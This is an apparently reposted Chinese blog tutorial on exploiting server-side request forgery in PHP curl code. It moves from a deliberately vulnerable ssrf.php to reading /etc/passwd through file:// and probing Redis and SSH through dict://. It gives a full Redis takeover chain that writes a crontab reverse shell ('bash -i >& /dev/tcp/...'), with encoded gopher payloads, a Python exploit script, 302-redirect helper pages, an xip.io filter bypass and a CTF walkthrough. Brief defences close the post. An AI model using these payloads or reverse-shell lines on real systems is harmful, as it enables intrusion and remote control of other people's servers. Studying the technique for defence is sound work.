您的位置:首页 > 其它

SSRF漏洞分析与利用

2017-11-06 20:55 344 查看
http://www.91ri.org/17111.html

前言:总结了一些常见的姿势,以PHP为例,先上一张脑图,划√的是本文接下来实际操作的





0x01 漏洞产生

以curl为例,漏洞代码为ssrf.php

Default

12345678910<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET['url']); #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);curl_exec($ch); curl_close($ch); ?>

0x02 利用方式

首先查看curl的版本和该版本支持的协议Default

1

2

3

4

5

6

7

8

[root@localhost
html]# curl
-V

curl
7.29.0
(x86_64-redhat-linux-gnu)
libcurl/7.29.0
NSS/3.21
Basic
ECC
zlib/1.2.7

libidn/1.28
libssh2/1.4.3

Protocols:
dict
file
ftp
ftps
gopher
http
https
imap
imaps
ldap
ldaps
pop3
pop3s
rtsp

scp
sftp
smtp
smtps
telnet
tftp

Features:
AsynchDNS
GSS-Negotiate
IDN
IPv6
Largefile
NTLM
NTLM_WB
SSL
libz
unix-

sockets

可以看到该版本的curl支持很多协议,其中gopher协议、dict协议、file协议、http/s协议用的比较多

ps:上面的漏洞代码ssrf.php没有屏蔽回显,所以利用姿势比较多

gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议。

先监听本地2333端口,然后利用gopher协议访问

Default

1234567891011121314151617[root@localhost ~]# nc -l -vv 2333Ncat: Version 6.40 ( http://nmap.org/ncat )Ncat: Listening on :::2333Ncat: Listening on 0.0.0.0:2333Ncat: Connection from 127.0.0.1.Ncat: Connection from 127.0.0.1:47726 [root@localhost html]# curl -v 'http://127.0.0.1/ssrf.php?url=gopher://127.0.0.1:2333/_test' [root@localhost ~]# nc -l -vv 2333Ncat: Version 6.40 ( http://nmap.org/ncat )Ncat: Listening on :::2333Ncat: Listening on 0.0.0.0:2333Ncat: Connection from 127.0.0.1.Ncat: Connection from 127.0.0.1:47726.test
可以看到数据发送了。一开始感觉反弹传输数据没多大用,后来看了gopher和dict攻击redis和脆弱的内网应用的exp才明白dict:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问Default

1

http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:6379/info
即可看到redis的相关配置。

Default

1http://4o4notfound.org/ssrf.php?url=dict://127.0.0.1:ssh端口/info
即可看到ssh的banner信息
如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那么这种方式就失效了,和gopher一样,只能利用nc监听端口,反弹传输数据了。file:因为ssrf.php的漏洞代码有回显,所以浏览器直接访问Default

1

http://4o4notfound.org/ssrf.php?url=file:///etc/passwd
即可看到很多不可描述的东西。同理,如果屏蔽回显,该协议就废了

http/s:主要用来探测内网服务。根据响应的状态判断内网端口及服务,可以结合java系列0day和其他各种0day使用


0x03 攻击应用

主要攻击redis、discuz、fastcgi、memcache、内网脆弱应用这几类应用,这里以redis为例,分别利用gopher协议和dict协议getshell

首先要了解redis的getshell的exp写成的bash shell:

Default

12345echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1 redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit
执行命令bash shell.sh 127.0.0.1 6379,就在redis里面写了一个键值对的定时任务(利用crontab),可以反弹shell。
gopher利用:这部分三叶草的joychou师傅说的很详细,可以看ssrf in php
这里为了构造符合gopher协议的访问请求,首先要获取bash脚本对redis发出的访问请求,要用socat进行端口转发,转发命令为:Default

1

socat
-v
tcp-listen:4444,fork
tcp-connect:localhost:6379

意思是将访问4444端口的流量转发到6379端口。也就是如果我们的bash脚本请求的是4444端口,仍然访问的是6379的redis,相当于一个中转

执行命令:

Default

1bash shell.sh 127.0.0.1 4444
socat就获取到了shell.sh对redis发出的请求(这里贴出来部分请求):Default

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

[root@localhost
cron]#
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

>
2017/05/25
07:16:51.991865 length=18
from=0
to=17

*1\r

$8\r

flushall\r

<
2017/05/25
07:16:51.992468 length=5
from=0
to=4

+OK\r

>
2017/05/25
07:16:51.995872 length=83
from=0
to=82

*3\r

$3\r

set\r

$1\r

1\r

$56\r

*/1
*
*
*
*
bash
-i
>&
/dev/tcp/127.0.0.1/2333
0>&1

\r

<
2017/05/25
07:16:51.996065 length=5
from=0
to=4

+OK\r

>
2017/05/25
07:16:51.998777 length=57
from=0
to=56

*4\r

$6\r

改成适配gopher协议的url:

Default

1234567gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
再进行urlencode,得到payload:Default

1

2

3

4

5

6

7

8

9

10

11

gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d

%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20

bash%20-

i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d

%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250

a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250

d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilen

ame%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2

A1%250d%250a%244%250d%250aquit%250d%250a

最终的攻击poc为:

Default

1234567891011curl -v 'http://127.0.0.1/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
执行即可在/var/spool/cron/下生成一个名为root的定时任务,任务为反弹shelldict利用:dict协议有一个功能:dict://serverip:port/name:data 向服务器的端口请求 name data,并在末尾自动补上rn(CRLF)。也就是如果我们发出dict://serverip:port/config:set:dir:/var/spool/cron/的请求,redis就执行了config set dir /var/spool/cron/ rn.用这种方式可以一步步执行redis getshell的exp,执行完就能达到和gopher一样的效果。原理一样,但是gopher只需要一个url请求即可,dict需要步步构造。
利用猪猪侠的wooyun上公开的脚本改成适配本文的脚本ssrf.py:Default

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

import
requests

host
=
'104.224.151.234'

port
=
'6379'

bhost
=
'www.4o4notfound.org'

bport=2333

vul_httpurl
=
'http://www.4o4notfound.org/ssrf.php?url='

_location
=
'http://www.4o4notfound.org/302.php'

shell_location
=
'http://www.4o4notfound.org/shell.php'

#1
flush db

_payload
=
'?s=dict%26ip={host}%26port={port}%26data=flushall'.format(
host
=
host,

port
=
port)

exp_uri
=
'{vul_httpurl}{0}{1}'.format(_location,
_payload,
vul_httpurl=vul_httpurl)

print
exp_uri

print
requests.get(exp_uri).content

#set
crontab command

_payload
=
'?s=dict%26ip={host}%26port={port}%26bhost={bhost}%26bport=

{bport}'.format(
host
=
host,
port
=
port,
bhost
=
bhost,
bport
=
bport)

exp_uri
=
'{vul_httpurl}{0}{1}'.format(shell_location,
_payload,

vul_httpurl=vul_httpurl)

print
exp_uri

print
requests.get(exp_uri).content

#confg
set dir

_payload='?s=dict%26ip={host}%26port=

{port}%26data=config:set:dir:/var/spool/cron/'.format(
host
=
host,
port
=
port)

exp_uri
=
'{vul_httpurl}{0}{1}'.format(_location,
_payload,
vul_httpurl=vul_httpurl)

print
exp_uri

print
requests.get(exp_uri).content

#config
set dbfilename

_payload='?s=dict%26ip={host}%26port=

{port}%26data=config:set:dbfilename:root'.format(
host
=
host,
port
=
port)

exp_uri
=
'{vul_httpurl}{0}{1}'.format(_location,
_payload,

vul_httpurl=vul_httpurl)

print
exp_uri

print
requests.get(exp_uri).content

#save

_payload='?s=dict%26ip={host}%26port={port}%26data=save'.format(
host
=
host,
port

=
port)

exp_uri
=
'{vul_httpurl}{0}{1}'.format(_location,
_payload,

vul_httpurl=vul_httpurl)

print
exp_uri

print
requests.get(exp_uri).content

因为curl默认不支持302跳转,而该脚本要用到302跳转,所以需要在ssrf.php中加上一行“curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1)”来支持跳转。302.php代码为:

Default

123456<?php$ip = $_GET['ip'];$port = $_GET['port'];$scheme = $_GET['s'];$data = $_GET['data'];header("Location: $scheme://$ip:$port/$data"); ?>
shell.php主要用于写入用于反弹shell的crontab的定时任务,代码为:Default

1

2

3

4

5

6

7

8

<?php

$ip
=
$_GET['ip'];

$port
=
$_GET['port'];

$bhost
=
$_GET['bhost'];

$bport
=
$_GET['bport'];

$scheme
=
$_GET['s'];

header("Location:
$scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-

i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>

执行ssrf.py,即可在/var/spool/cron/下写入定时任务,反弹shell,nc等待接收shell


0x04 绕过与防御

绕过:可以使用www.ip.xip.io或者www.ip.xip.io代替ip可以绕过部分过滤

防御:限制协议为HTTP、HTTPS

Default

1curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
禁止30x跳转Default

1

删掉curl_setopt($ch,
CURLOPT_FOLLOWLOCATION,
1);

设置白名单或限制内网ip


0x05 例题

一道ctf题目,有两个文件:ssrf3.php和flag.php

题目意思是flag只能127.0.0.1访问,还进行了post验证,这就需要gopher提交post数据来绕过

curl设置了302跳转,所以可以把302.php放在自己的vps上进行跳转.

首先获取访问flag.php的post请求:

Default

123456789101112POST /flag.php HTTP/1.1Host: 192.168.154.130User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: keep-aliveUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 14 username=admin
因为只有一台机器,所以我直接将Host改成了127.0.0.1,再改成符合gopher协议的请求,写入302.php。
302.php内容为Default

1

2

3

4

5

6

7

8

9

header("Location:gopher://127.0.0.1:80/_POST
/flag.php HTTP/1.1%0d%0aHost:

127.0.0.1%0d%0aUser-Agent:
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0)

Gecko/20100101
Firefox/50.0%0d%0aAccept:

text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%0d%0aAccept-Language:

zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%0d%0aAccept-Encoding:
gzip,

deflate%0d%0aConnection:
keep-alive%0d%0aUpgrade-Insecure-Requests: 1%0d%0aContent-

Type:
application/x-www-form-urlencoded%0d%0aContent-Length:

14%0d%0a%0d%0ausername=admin");

流程就是在ssrf3.php提交http://www.myvpsip.xip.io/302.php,然后漏洞机器会访问302.php,然后跳转,利用gopher协议,自己访问自己的flag.php同时提交username=admin的post数据。flag可以在ssrf3.php的页面源代码中看到。

因为都是一台机器在操作,但应该不是紫薇吧.ps:改装成符合gopher协议的get、post类型请求还是要小心的

如有错误,请务必指正。


参考

https://_thorns.gitbooks.io/sec/content/ssrf_tips.html

https://_thorns.gitbooks.io/sec/content/xiao_mi_mou_chu_ssrf_lou_6d1e28_ke_nei_wang_shell_.html

https://blog.chaitin.cn/gopher-attack-surfaces/#h5_%E6%9B%B4%E5%A4%9A%E6%94%BB%E5%87%BB%E9%9D%A2

http://vinc.top/2016/11/24/%E3%80%90ssrf%E3%80%91ssrfgopher%E6%90%9E%E5%AE%9A%E5%86%85%E7%BD%91%E6%9C%AA%E6%8E%88%E6%9D%83redis/

http://blog.feei.cn/ssrf/

http://joychou.org/index.php/web/phpssrf.html
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: